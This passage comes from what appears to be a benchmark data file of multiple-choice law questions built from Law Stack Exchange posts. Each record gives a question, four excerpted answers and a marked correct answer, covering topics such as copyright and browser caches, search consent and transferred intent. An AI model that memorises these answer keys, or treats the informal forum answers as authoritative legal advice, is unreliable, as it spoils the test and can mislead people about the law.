to make this question become too broad, so we are still dealing with the original problem: whether browser cache violates (US and EU) copyright laws in theory . I do hope this is a good subjective question . Please be aware that I believe the term Intellectual Property , which appeared in the comments, to be misleading . It refers to patents, trademarks, copyright and other stuff, while we're just discussing about copyright here. Quotes from answer and comments: Copyright is not about copying, it is about use (Jon Story) Many misconceptions are based on copyright being about use. Copyright is not about use, it is about copying (Marcks Thomas) To expand on the point about use, not copying, being the main issue, it would be a violation of copyright to take a BD and project it onto a large screen and charge money for people to watch it. I didn't copy the disc, just played it for profit (or even if i didn't charge, as a public performance) and I'd go to jail (Andy) You wouldn't say the optical fiber the data was sent through was copying the data? (kasperd) In order to read printed text, your eyes make a copy of that work (in a different format, made up of neurons firing in your brain) (Jon Story) routers don't copy the data in full. They process one packet at a time, which by no means is enough to contain the full work. A packet is more comparable with a citation, than a copy of the work. (kasperd) FURTHER UPDATE: I'm going to start a bounty on this question. Here I add the parts of the current answer (Jon Story's) I'm less satisfied with: Because you are not duplicating the content or re-publishing it I'm clearly doing the first of these two things. The web page is publicly available anyway (or at least, accessible by you), so you have permission to read it: copyright is about whether you have permission to access and read the file, not about whether you have permission to make a copy of the file as part of the technical process of accessing and reading it. I'm almost certain that copyright is not about the permission to read and access the text, but about the permission of making copies, modifying, redistributing and other stuff like that. For instance, I don't think you can make a copyright note that does not allow reading your content. Is fair use the key point here? That may be, and in the comments I was almost convinced. However, I've never known that fair use could justifiy copying the entire text. They won't let me photocopy an entire copyrighted book for personal use, I guess.", "question_score": 40, "question_tags": ["united-states", "copyright", "european-union"], "choices": {"A": "If you are not a member of the Bar of Maryland, you may not \"practice, attempt to practice, or offer to practice law in the State unless admitted to the Bar.\" Maryland Business Occupations and Professions § 10-601 . \"Practicing law\" includes \"representing another person before a unit of the State government or of a political subdivision.\" Maryland Business Occupations and Professions § 10-101 . \"[A] person who violates § 10-601 of this subtitle is guilty of a misdemeanor and on conviction is subject to a fine not exceeding $5,000 or imprisonment not exceeding 1 year or both.\" Maryland Business...", "B": "I'm only going to consider US perspectives, which may or may not answer your question entirely. Also, I'm not going to address the guesses in other answers because, and except to say, they don't appear to be based in law, but rather (mis)understandings of law. 17 U.S. Code § 512 provides protections for service providers when providing content, online. This expressly includes caching. In Viacom Int'l, Inc. v. YouTube, Inc. , 676 F.3d 19 (2d Cir. N.Y. 2012) at 39, the Court held that to exclude these functions from the safe harbor would remove protections for service providers under subsection...", "C": "The third Geneva convention says in its second article (emphasis added): the present Convention shall apply to all cases of declared war or of any other armed conflict which may arise between two or more of the High Contracting Parties, even if the state of war is not recognized by one of them. The Convention shall also apply to all cases of partial or total occupation of the territory of a High Contracting Party, even if the said occupation meets with no armed resistance. The violence in Ukraine qualifies for at least two reasons: it is an armed conflict between...", "D": "at what point can you just leave? Is it always technically illegal in the UK to leave without paying the bill? Probably depends on what you mean with just leaving. If just leaving translates I haven't paid and I won't pay (because of the hassle with the card) then that's probably Making Off Without Payment, section 3 Theft Act 1978 (Thanks @bdsl). Could the restaurant just force you to wait until close of business if necessary? What if they still hadn't fixed the payment system by then? I don't think a restaurant can physically detain you. Not even the 45..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/2223/why-does-browser-cache-not-count-as-copyright-infringement"} {"id": "law_3519", "domain": "law", "question_title": "Consent to searches: Who wins "my-word-against-yours?"", "question_body": "Hypothetical Officer testifies citizen consented to be searched. Citizen denies consenting to be searched. There is no other evidence (that weighs net in favor of either party). Question Whom does the judge believe? Clarifying Discussion from previous comments... Point The testimony of the officer and the citizen would be more complete than just the officer saying \"The defendant consented to be searched\" and the defendant saying \"I did not consent to be searched\". Each would give a narrative of the situation that could be cross-examined. This would give the judge more information on which to base a judgement of trustworthiness. Response Although everything you say is true, to put all that information into the question would miss the point. Which is: What is the standard of proof (for consent to searches)? And is their any \" weight \" advantage (in practice) for testimony from either side (all other factors being equal). For the purpose of this question, please assume all the other factors (the ones you mention and all the others) cancel out each other. Imagine both narratives agree except in one version the citizen gives consent. In the other he does not.", "question_score": 40, "question_tags": ["police", "search-and-seizure"], "choices": {"A": "Assuming U.S. Jurisdiction: In the case of The People vs. Hansel and Gretel Holzfaller: Ms. Gretel Holzfaller is charged with the following: 1 Count of Murder in the First Degree (Murder of Ms. Witch Hazel) 1 Count of Grand Larceny (Theft of precious metals and jewels from Ms. Hazel) 1 Count Petty Theft (Theft of Candy) 1 Count of Vandalism (Bite marks left in Gingerbread Masonry) 1 Count Trespassing Mr. Hansel Holzfaller is charged with the following: 1 Count of Accessory to Murder 1 Count of Grand Larceny 1 Count Petty Theft 1 Count of Vandalism 1 Count Trespassing Ms....", "B": "Most leases have a provision allowing a landlord to make entry without notice in an emergency, but the better course of action, as noted in a comment by @BlueDogRanch, is to call the police and ask them to make a \"welfare check.\" You would ordinarily be permitted to cooperate with police by unlocking doors in furtherance of their welfare check. The police are trained to do this properly in a way that properly balances the need to aid someone who is sick or ill, the need to preserve evidence if there was a death or crime that needs to be...", "C": "This is not a simple question. There are hundreds of page treatises on consent - explicit, implied, obtained by trickery, revoked, coerced by show, coerced by intimidation. If it ever was just a he said (s)he said situation, that certainly does not mean that the testimony of those two individuals are all that's considered to determine (1) that the prosecutor failed to meet it's burden; nor does it mean (2) that the consent was (legally) given. None of these answers (nor this answer) could possibly adequately address the complexity of the analysis a court will endeavor to undertake when evidence...", "D": "There is no legal obligation of the police or any of its officers to reimburse you. It comes within a police powers exception to the 5th Amendment obligation to provide compensation for takings. Sometimes a government will compensate someone even though it has no legal obligation to do so, but this is unlikely to happen. A petition for certiorari from 10th Circuit decision of Lech v. City of Greenwood Village (10th Cir. October 29, 2019) recaps a lot of the relevant law and arguments for changing it (the petition was subsequently denied by the U.S. Supreme Court). The question presented..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/3519/consent-to-searches-who-wins-my-word-against-yours"} {"id": "law_5139", "domain": "law", "question_title": "Do I have legal rights against a company that offered me a raise to not leave, and then promptly fired me after turning down the other offer?", "question_body": "I was just informed of this situation that occurred somewhere by a co-worker, and was wondering what the legal ramifications are (U.S. Law). To be clear, the scenario is as follows: I tell my boss I've been offered a position at another company. My boss later comes to me with a counter offer of a raise, if I choose to stay with them I accept the counter offer, and inform the other company that I have chosen to stay with my current employer After a week, my boss then informs me that I'm being let go, and that this should serve as a lesson to not mess with him. For the above scenario, regarding U.S. law, do I hold any legal grounds against this? What options would I have to defend myself (and my family) from being blatantly told that I was fired because I was willing to accept another offer without some other counter-offer from my current employer? As for the chap this did happen to, I'm informed that he contacted the company who originally gave him the offer, and they were still willing to bring him on-board. So, yay (somewhat) happy ending to an otherwise terrifying situation. However, I'm specifically asking about the scenario in which he was forced to be unemployed for some period of time, while looking for another job (i.e., the other company no longer had the position open)", "question_score": 40, "question_tags": ["united-states", "employment"], "choices": {"A": "Legally speaking, very many nations grant asylum, and religious persecution is one of the most basic grounds for granting asylum, following the 1951 Refugee Convention . This newspaper article compares asylum statistics in Ireland versus other parts of Europe. The Irish immigration authorities spell out the details for an asylum application. Note that you must already be in Ireland, to apply for asylum in Ireland (you should apply when you enter the country). One could also apply to Norway (almost an English-speaking country), but again you have to be in Norway to do so. There is a generic solution to...", "B": "There isn't any rule which would prioritize the President, as far as I can tell. Generally, organ allocation is required to be based on medical criteria, not on factors such as the occupation or societal role of the patient. 42 USC 273 specifies that organ procurement shall be administered by \"qualified organ procurement organizations\" and sets up ground rules for their operation, one of which is: have a system to allocate donated organs equitably among transplant patients according to established medical criteria. Further regulations implementing this law are to be found at 42 CFR 121 . 121.8(a)(1) specifies that allocation...", "C": "It depends to a large degree on local employment laws. Depending on how the counteroffer was worded, it might have constituted anything from a binding legal contract for employment for some reasonable minimum term, or a totally non-binding suggestion that was worth less than the air breathed while pronouncing it. Some things to consider would include: What are local employment laws like? Do they require that termination be for cause? If so, what are causes for termination? Does termination require any kind of remediation beforehand? Note that in an at-will, right-to-work state in the US, odds are that the employee...", "D": "Yes, it's illegal You are missing something terribly important: The package might not be your property [yet]. In any way, it is not in your possession, while it is in the hands of the postal service! The contents of the package started fully owned by the sender and were entrusted to the postal service to deliver it. This entrustment is (contractually) defined as the time it is handed to the postal service, but the postal service does not gain any ownership. They do however have insurance on the parcel (to some degree), as they are liable for the loss of..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/5139/do-i-have-legal-rights-against-a-company-that-offered-me-a-raise-to-not-leave-a"} {"id": "law_53442", "domain": "law", "question_title": "Suppose someone kills more people than they intended. Did they murder the extra people?", "question_body": "If a person sets a bomb in a music festival. Based on previous attendance numbers, they expected 60,000 people to show up. 120,000 people showed up and were killed by their bomb. Legally, did they murder 60,000 people, or all 120,000? Also, suppose they set up the bomb just to kill the production crew, and they end up killing the attendees. Did they still commit 120,000 murders?", "question_score": 40, "question_tags": ["criminal-law", "california", "murder"], "choices": {"A": "An essential component of your contract with them is that they will provide you with food free of animal stuff (the exact nature of \"vegan approved\" may be up for debate, but actual meat should not be included). So they breached their contract with you, and you might sue them for breach of contract. The case of Gupta v. Asha (orders were mixed up) could be useful in this matter. In this case, Hindus were served samosas containing beef, despite repeated assertions that they were vegetarian. Plaintiffs sued, the case was dismissed, and the appeals court deemed that the lower...", "B": "Trump was an officer of the government, and Twitter wasn't. The First Amendment forbids the government and its agents from viewpoint discrimination, but private companies are not bound by it and can discriminate as much as they please. (There was a question as to whether such discrimination might affect whether the company enjoys a shield from liability under 47 USC 230 , but even so they have the right to block and censor as they wish if they are willing to risk that liability.)", "C": "Through the legal doctrine of \"transferred intent\", wherein if one intends to murder A, and undertake actions to kill A, but one's actions kill B, one has murdered B. Whatever crimes one would have committed, had one performed them on one's intended target, are considered committed against the individual one actually performed them on. Many crimes require one to have mens rea to be guilty; they do not require one to have mens rea towards a given individual. So, so long as one had the proper intent to murder someone, the actual victim of their actions is irrelevant.", "D": "In this specific scenario, not only is it not a crime, failure to do so is a breach of proper maritime protocols and could be illegal. A person manning a boat and sees a human in water in distress should immediately go to the rescue or recovery of the victim. This is commonly started by the crewman of the vessel who spots the body shouting \"Man overboard\" once... which triggers every crewman on the deck to also shout the same thing exactly once regardless of if they can see the man who is overboard (The idea is that the call..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/53442/suppose-someone-kills-more-people-than-they-intended-did-they-murder-the-extra"} {"id": "law_59878", "domain": "law", "question_title": "Can you legally move a dead body to preserve it as evidence?", "question_body": "A fisherman is heading upstream in his boat, and sees a human corpse float past. Obviously even if it wasn't murder, it still warrants a 911 call because it was a death. The river however, is steadily moving the body away. Can the fisherman move the body and avoid legal jeopardy because the intent was to preserve it as evidence? You can make other scenarios I'm sure, but I chose this one as an example. Basically, the concept here is that doing nothing will possibly result in the total destruction of the body/evidence.", "question_score": 40, "question_tags": ["united-states", "criminal-law", "murder", "investigation"], "choices": {"A": "at what point can you just leave? Is it always technically illegal in the UK to leave without paying the bill? Probably depends on what you mean with just leaving. If just leaving translates I haven't paid and I won't pay (because of the hassle with the card) then that's probably Making Off Without Payment, section 3 Theft Act 1978 (Thanks @bdsl). Could the restaurant just force you to wait until close of business if necessary? What if they still hadn't fixed the payment system by then? I don't think a restaurant can physically detain you. Not even the 45...", "B": "You are allowed to ask the police whatever questions you like. There is an upper limit that you can't refuse to obey a lawful order on the premise that you want to ask a bunch of questions, but they don't seem to have ordered you to do anything, so you can ask away. They have no obligation to tell you anything or to be truthful, except for certain questions like \"am I free to go\" when you want to leave and are testing whether you are under arrest. Even then they don't have to answer your questions right away. The...", "C": "Public nudity is illegal in New York as it is in almost every U.S. jurisdiction. And, if the police had arrested the nude protesters, the arrests probably would have been upheld in court, because a ban on nudity in public would probably be viewed as a time, place and manner restriction on the freedom of speech which is constitutionally valid. For example, the Ninth U.S. Circuit Court of Appeals recently upheld San Francisco’s public nudity ordinance in Taub v. City and County of San Francisco (2017). As the court in that case explains in a factually very similar case: Public...", "D": "In this specific scenario, not only is it not a crime, failure to do so is a breach of proper maritime protocols and could be illegal. A person manning a boat and sees a human in water in distress should immediately go to the rescue or recovery of the victim. This is commonly started by the crewman of the vessel who spots the body shouting \"Man overboard\" once... which triggers every crewman on the deck to also shout the same thing exactly once regardless of if they can see the man who is overboard (The idea is that the call..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/59878/can-you-legally-move-a-dead-body-to-preserve-it-as-evidence"} {"id": "law_92750", "domain": "law", "question_title": "Why did this US prosecutor keep asking whether documents would refresh a witness's memory?", "question_body": "Background I served on a jury during a criminal trial in the United States several years ago. There was a strangely formal interaction that repeated itself a few times during the trial. The prosecutor, while holding some document, would ask a question which required the witness to recall some specific detail. The witness would reply \"I don't remember.\" The prosecutor would then ask \"Would looking at [some document] refresh your memory?\", to which the witness would answer \"Yes.\" The prosecutor would then hand the document to the witness, who would look at it and then answer the question. It's obvious that the prosecutor already knew the question wouldn't be answerable without reference to the report or document - that's why they were holding it. But then why perform the dance of \"do you recall\" / \"no\" / \"would this refresh your memory\" / \"yes\"? The Question It's clear the witness needs the document to answer the prosecutor's question, so what's the value in the prosecutor asking the witness the question the first time without the document? Disclaimer ( it may be that this was simply this prosecutor's way of phrasing questions, rather than a feature of the United States criminal judicial system. If that's the case this question won't be answerable, since it calls for knowing the mindset of a specific individual. If so, let me know and I'll delete it ) Further information In the real-life situation I found myself in, the witness was for the prosecution. However, I'm equally interested in answers ( such as hszmv's ) that explain why the adversarial lawyer might also use this technique, if relevant.", "question_score": 40, "question_tags": ["united-states", "court", "criminal-procedure"], "choices": {"A": "Your question is the subject of longstanding and ongoing debate that has generated countless articles and books and dissertations, so you're probably not going to get a fully satisfactory answer here. But here's the short version: Different systems operate on different assumptions. Your question suggests you are not a retributivist, i.e., someone who views sentencing as a means for taking retribution for the criminal's offenses. Some systems (most, I imagine) are built around that idea, but some view criminal sentencing primarily as a means of preventing recidivism, or as a means for achieving rehabilitation, the interests you indicated you see...", "B": "Maybe, Hence the Lawsuits In the absence of clear statute law these all circle around tort law. For the scooter companies, trespass to chattels , and for the affected landowners (who hire the removalists) trespass to land and nuisance seem applicable. In essence, I can’t take your stuff (trespass to chattels) but you can’t leave your stuff on my property (trespass to land) or impeding access to it (nuisance). If you do, I am entitled to the reasonable costs of dealing with it. Note that, as owner, you remain responsible for you stuff even if you rented it to someone...", "C": "united-states Witnesses are generally confined to giving testimony from their own personal memory; most of the time, they can't read a statement into the record or just tell the jury to go look at some other piece of evidence. But this creates problems when a witness knows an important fact but doesn't remember it when she takes the stand. Maybe she counted exactly how much money she stuffed in the robber's bag as she was doing it, and she wrote it down as soon as he fled, but a year later, she can't remember that it was $93,736.45. But the...", "D": "While there is an act that President Trump and his supporters are citing, titled the Presidential Records Act (PRA) , to accuse House Speaker Pelosi of breaking federal law, it is important to understand what actions the law accounts for. The act mandates that the President of the United States preserve records and other laws governing the federal government. This serves as a form of checks and balances to prevent the president and his advisers from shielding documentary information from public view. The act is fairly new, as it was passed in 1981. It is important to realize that this..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/92750/why-did-this-us-prosecutor-keep-asking-whether-documents-would-refresh-a-witness"} {"id": "law_92965", "domain": "law", "question_title": "Why and when would an attorney be handcuffed to their client?", "question_body": "While reading about the trial of Hans Reiser I came across this peculiar sentence: On Monday, July 7, 2008, Reiser led police to Nina's shallow grave in the Oakland Hills. Reiser's attorney, William Du Bois, who was handcuffed to Reiser and accompanied by a heavy police guard to the site, said that the remains were found buried on the side of a hill […] (Originally reported by SFGate ) I find this very strange for multiple reasons: The attorney is not legally responsible for the defendant's safety or security. The attorney is free to leave at any time. The attorney is not required to be armed and can not be expected to defend himself from a violent defendant …nor can he be expected to physically restrain the defendant if necessary. If the heavy police guard has to intervene, having an innocent civilian chained to the target must make their job much more difficult in case the defendant has to be subdued by force. Why and when would this be standard practice, and who would order that? Is it something that the Judge would order, or would the attorney himself have to suggest it? † † Unfortunately we can not ask him personally since, while researching the question, I found that he recently passed away .", "question_score": 40, "question_tags": ["united-states", "criminal-procedure"], "choices": {"A": "This is entirely possible in a number of different motions that could have been made. At this point, Vinny had destroyed the Prosecutor's eyewitnesses by showing they had issues that called their testimony into question (The first has a timeline that doesn't line up with events, the second has poor vision and her prescription glasses were not doing their job, and the third had many obstructions blocking his view of the scene). His first witness tears apart the \"expert\" witness, who was only there to testify that the tires were the same brand (albeit, a popular brand at the time......", "B": "Yes, their waiver has no legal basis and is invalid under the GDPR. They should have hired a better lawyer. GDPR rights cannot be waived ( mrllp.com ). The last bit should have been: Therefore, in consideration of my participation in any project, I understand that retaining my name and email address, as described above, does not require my consent and that the right of erasure, as spelled out in the GDRP Article 17 (1) b does not apply. The legal basis for our lawful processing of this personal data is Article 6 (1) f (\"processing is necessary for the...", "C": "Virginia employer terminated employee and wants signing bonus returned Can the employer legally keep his last check and send the employee a bill for the remainder ? No, unless (1) the employee resigned and (2) his resignation does not amount to constructive termination . The employer may withhold the remaining $7,000 only if the employee did not meet the condition of \" 30 days of employment with xxxxx \". Absent any language to the contrary, the requirement of \" 1-year commitment \" is to be construed as the consideration expected from the employee (namely, \" not to quit \") in...", "D": "My impression, and the plausible explanation in the absence of the actual facts, is that this was something that the attorney agreed to, in order to allow a skittish client to reveal information pursuant to a favorable plea agreement. The police probably insisted that the client be handcuffed to someone while doing this to prevent the client from fleeing. The attorney probably offered to do the job instead of a police officer, to be able to provide advice to his client and keep his client calm enough to do it, which might not have happened (sacrificing the favorable plea deal..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/92965/why-and-when-would-an-attorney-be-handcuffed-to-their-client"} {"id": "law_105671", "domain": "law", "question_title": "If a shop prices all items extremely high and applies a "non-criminal discount" at checkout, will shoplifters get prosecuted based on the high price?", "question_body": "I came across this sign online that states that in the store, all items are marked at $951, with \"non-criminal discounts\" applied only for paying customers. The sign suggests that this is to ensure that shoplifters will be prosecuted for grand theft under California Penal Code 487 PC , according to which the threshold for grand theft is $950. I can't verify the post itself, but regardless - would this actually work? If a shoplifter were caught, could they be prosecuted based on the marked price of $951, even though noone actually has to pay that price, or would the actual price at checkout be considered in the prosecution? While the sign itself is specific to California, I'm interested in different legal systems as well. (I'm also interested if such pricing would be even legal in itself, but I want to limit my post to one question.)", "question_score": 40, "question_tags": ["criminal-law", "theft", "retail", "shoplifting"], "choices": {"A": "Think through the logical combinations of two questions: The government is tyrannical or just, the revolution is successful or not. Tyrannical government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Just government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Tyrannical government, revolution not successful: The legal system will find the justified attempt illegal (because they are the legal system defending a tyrannical government), the would-be revolutionaries are persecuted. Just government, revolution...", "B": "california No, I don't think so. California's grand theft statute, Penal Code Section 487 (which you already linked) consistently uses the word \"value\" rather than \"price\" (emphasis mine): Grand theft is theft committed in any of the following cases: (a) When the money, labor, real property, or personal property taken is of a value exceeding nine hundred fifty dollars ($950), except as provided in subdivision (b). Earlier in that title, Section 484(a) says: In determining the value of the property obtained, for the purposes of this section, the reasonable and fair market value shall be the test, and in determining...", "C": "There isn't any indication in that news story that the disabled son was anywhere nearby. I agree the situation you describe sounds like a legitimate use of the placard, but it seems in this situation, the placard was being used in a manner totally unrelated to the transport of a disabled person. My guess is that the cops cited her because the son wasn't in the car, and was not inside the establishment at which she parked. California code has this to say: A person to whom a disabled person placard has been issued may permit another person to use...", "D": "Public nudity is illegal in New York as it is in almost every U.S. jurisdiction. And, if the police had arrested the nude protesters, the arrests probably would have been upheld in court, because a ban on nudity in public would probably be viewed as a time, place and manner restriction on the freedom of speech which is constitutionally valid. For example, the Ninth U.S. Circuit Court of Appeals recently upheld San Francisco’s public nudity ordinance in Taub v. City and County of San Francisco (2017). As the court in that case explains in a factually very similar case: Public..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/105671/if-a-shop-prices-all-items-extremely-high-and-applies-a-non-criminal-discount"} {"id": "law_683", "domain": "law", "question_title": "USA: Is "I am not a lawyer" disclaimer generally necessary?", "question_body": "Is it legally necessary to disclaim \"I am not a lawyer\" when engaging in casual conversation, writing Internet posts, etc. to avoid civil or criminal liability for one's comments? Specifically, in the absence of: claims to be a lawyer or implied claims (i.e. posing) accepting payment or other compensation for legal advice Is there any presumption under US law that casually giving advice to others on matters of law constitutes professional legal advice? If a hypothetical statement is needed, let's say you said this to your next-door neighbor, who has no particular reason to believe you are a lawyer: \"Based on my own past experience, and my reading of this statute, you are free to ignore this letter you received in the mail, as not answering does not change your outlook.\" If your neighbor took this advice, and ended up in a bad position, and blamed you, are you in any way more liable under the law than if you had also said, \"But I'm not a lawyer, so you should seek professional advice\"? I'm neglecting the practical (psychological) reasons to make such disclaimers. Whether they have any real effect or not, giving them may preclude making trouble in people's minds.", "question_score": 39, "question_tags": ["united-states", "liability", "unlicensed-practice"], "choices": {"A": "Short Answer Applicants are required by military regulation to have a percentile score on a standardized test called the ASVAB that is 31 or more, which is roughly comparable to an IQ score on the Stanford-Binet scale of a little bit less than 92, for high school graduates seeking to enter the Army or Navy (other services have more strict requirements and applicants with only a GED or to the national guard must have an ASVAB score in the 50th percentile which is equivalent to an IQ of 100). But, U.S. law allows the Department of Defense to allow people...", "B": "I believe you have just misunderstood what you paid for. Blizzard's End User License Agreement says: Your use of the Platform is licensed, not sold, to you, and you hereby acknowledge that no title or ownership with respect to the Platform or the Games is being transferred or assigned and this Agreement should not be construed as a sale of any rights. It also says: Blizzard may change, modify, suspend, or discontinue any aspect of the Platform or Accounts at any time, including removing items, or revising the effectiveness of items in an effort to balance a Game. Blizzard may...", "C": "What you are talking about here is the tort of negligent misstatement, a subset of the tort of negligence . First, there is no presumption in any jurisdiction that I am aware of that anyone is or is not a lawyer (or doctor, or engineer etc.). If people knew that you were, however, then it is reasonable that they would give your statements more weight then if they did not know. It may also be reasonable if they suspected you were. The practical purpose of such a disclaimer is to ensure that they know you aren't. For the specific facts...", "D": "This is the Fed (FCC) saying \"I'm paying for this, so I get to determine who uses it.\" The service costs money. It is not automagic speech to text, but rather there is often (usually?) an actual human typing it in. Carriers front the cost, and then get compensation from the Fed. The Federal govt picks up that cost. They don't want people that don't need it due to hearing loss making use of that service and its associated costs. From the FCC : Title IV of the Americans with Disabilities Act (b) Availability of telecommunications relay services: the Commission..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/683/usa-is-i-am-not-a-lawyer-disclaimer-generally-necessary"} {"id": "law_41261", "domain": "law", "question_title": "Is it legal to have an abortion in another state or abroad?", "question_body": "Alabama passed new laws recently, making abortion a very limited option. In that context is it legal for a US national who lives in Alabama to have an abortion in another state where it is legal in the circumstances she in in? have an abortion abroad, in circumstances which are illegal in the US? Does the \"US national\" above matter? In other words: is the specific act of abortion illegal on itself in Alabama (or another state if it matters), just because of the geographic constraints - or is it related to the fact that someone lives in Alabama or, more broadly, is a US citizen (second bullet of my question)? Or, yet phaserly differently: can someone who lives in Alabama just travel to another state and get an abortion, then come back safely (= Alabama law enforcement does not care) or is it still a felony to have an abortion outside of Alabama? Note: Alabama is taken as an example following the recent law changes and their wide broadcasting in France. Any other state with a similar law will do.", "question_score": 39, "question_tags": ["united-states", "abortion"], "choices": {"A": "This aspect (and many others) of contract law is applicable in the US and various countries of the EU. can they renege after the candidate has begun their journey, thus saddling the candidate with the travel cost? No. The company would incur breach of contract. There is no need for a formal contract. The candidate only needs to prove that the company agreed (in writing, orally or clearly through its conduct) to cover or reimburse those expenses and that this elicited a meeting of the minds . The agreement would be void if the candidate incurred the expenses despite knowing...", "B": "Does the \"US national\" above matter? The nationality of the person is not relevant. Like most criminal statutes, the law applies to acts within the jurisdiction of Alabama, which basically means within the state's territory. The only foreign people who would be immune from that jurisdiction would be diplomats and the like, but such people would not be licensed to practice medicine in Alabama. This brings us to the point in the next paragraph. is it still a felony to have an abortion outside of Alabama? No. It is not even a felony to have an abortion inside Alabama. The...", "C": "As stated, this is not a reasonable restriction and runs afoul of the Fair Housing Act . You cannot discriminate based on family status, with an exemption for \" housing for older persons \", and the act \"does not limit the applicability of reasonable local, state, or federal restrictions regarding the maximum number of occupants permitted to occupy a dwelling\" (let's leave aside HOA restrictions for a moment). The number of occupants can legally be restricted in terms of a reasonable relation to a legitimate interest such as parking availability, safety, noise or securing the property. A restriction based on...", "D": "Legally speaking, very many nations grant asylum, and religious persecution is one of the most basic grounds for granting asylum, following the 1951 Refugee Convention . This newspaper article compares asylum statistics in Ireland versus other parts of Europe. The Irish immigration authorities spell out the details for an asylum application. Note that you must already be in Ireland, to apply for asylum in Ireland (you should apply when you enter the country). One could also apply to Norway (almost an English-speaking country), but again you have to be in Norway to do so. There is a generic solution to..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/41261/is-it-legal-to-have-an-abortion-in-another-state-or-abroad"} {"id": "law_43764", "domain": "law", "question_title": "What if a restaurant suddenly cannot accept credit cards, and the customer has no cash?", "question_body": "If a restaurant normally accepts credit cards, and a customer eats a meal there, then tries to pay with his valid credit card, and the cashier says the credit card system is down and they can only accept cash today, and the customer has no cash, and no easy way to get cash, can the customer legally leave without ever paying? Does the restaurant have a simple and legal way to enforce the debt? Assume the restaurant displays signs that they accept credit cards, and gives no prior notice to the contrary. Also assume the restaurant's bank has just severed its relationship with the restaurant, so credit card payments in any form are not viable.", "question_score": 39, "question_tags": ["united-states", "debt"], "choices": {"A": "There is no intention to commit theft, so there is no criminal act on the part of the customer. Even if there was a criminal act, the ability of the restaurant to detain the cusomer (citizen's arrest) is very limited in most jurisdictions. The restaurant can ask the customer for his name and address, but there is no legal obligation on the customer to provide this. Refusal to do so, however, might be evidence of intention to avoid paying and at that point the restaurant might call the police. The customer can leave, and the restaurant can pursue the debt...", "B": "Trump was an officer of the government, and Twitter wasn't. The First Amendment forbids the government and its agents from viewpoint discrimination, but private companies are not bound by it and can discriminate as much as they please. (There was a question as to whether such discrimination might affect whether the company enjoys a shield from liability under 47 USC 230 , but even so they have the right to block and censor as they wish if they are willing to risk that liability.)", "C": "Yes, that’s allowed. Under the Stack Exchange terms of service , content you upload is licensed to Stack Exchange Inc. on a non-exclusive basis under CC-BY-SA 4.0. The terms of service do not give Stack Exchange the copyright to your contributions, and a non-exclusive license means you are not promising Stack Exchange that “only Stack Exchange will be allowed to use this content.” That means you can continue to do whatever you want with your own content and do not need to mention Stack Exchange at all. The only restriction is that you can’t stop Stack Exchange from continuing to...", "D": "The article says: Defense lawyers say the evidence does not show a celebration of violence. Which implies that the prosecution claimed exactly that, or at least that the defense anticipates the prosecution to claim something along those lines. The article also says [ bold italic emphasis mine]: Defense lawyers for Rhodes have previously addressed the dinner, saying that prosecutors’ theory of the episode is incorrect. Rhodes’ lawyers said in a court filing the dinner is evidence that the militia leader wasn’t working to foment a revolution . “ The conditions would never be better . Yet, Rhodes and the others..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/43764/what-if-a-restaurant-suddenly-cannot-accept-credit-cards-and-the-customer-has-n"} {"id": "law_51213", "domain": "law", "question_title": "Can a soldier refuse to carry a weapon?", "question_body": "During WWII, Desmond Doss joined the US Army as a combat medic. Due to his religious belief in nonviolence, he refused to carry a weapon and was eventually allowed to do so, going on to win various medals (including the Medal of Honor) for rescuing casualties in various battles of the Pacific Theatre—his story was later made into the film Hacksaw Ridge . Is it still possible today for somebody to join the armed forces, but to refuse to carry a weapon? Specifically, I am wondering about the US and the UK armed forces, but interesting answers about any other country are welcome. Initially I thought Doss would have been conscripted which may have changed things, but apparently he chose to enlist so that argument doesn't hold up. I've searched but I haven't found anything about whether this would still be possible now or if military law may have changed to disallow it.", "question_score": 39, "question_tags": ["united-states", "united-kingdom", "legal-history", "military"], "choices": {"A": "In the UK Armed Forces, conscientious objection is grounds for a refusal at the admission stage and has been since the end of conscription in 1963. Where a person develops an objection to military service during their term of service, they have the option to appeal for a discharge. Interestingly there's no primary legislation to manage this process but there are established military procedures to take care of this when it happens. Mostly the process seems to be managed informally , with the objector simply being shuffled into a non-combatant role within their regiment and just left there for the...", "B": "The answer from @user6726 is a good one. But, I'd like to add to it by pointing out that the body of law applicable to an individual is usually much, much smaller than the entire body of law. I'm a lawyer who has been in private practice for almost 25 years with an extremely diverse practice compared to the average lawyer, and I've never even looked at perhaps 80% of the laws on the books in the states where I practice, and even less elsewhere. By statutory and regulatory volume, the vast majority of statutory and regulatory law is applicable...", "C": "My impression, and the plausible explanation in the absence of the actual facts, is that this was something that the attorney agreed to, in order to allow a skittish client to reveal information pursuant to a favorable plea agreement. The police probably insisted that the client be handcuffed to someone while doing this to prevent the client from fleeing. The attorney probably offered to do the job instead of a police officer, to be able to provide advice to his client and keep his client calm enough to do it, which might not have happened (sacrificing the favorable plea deal...", "D": "Your question is the subject of longstanding and ongoing debate that has generated countless articles and books and dissertations, so you're probably not going to get a fully 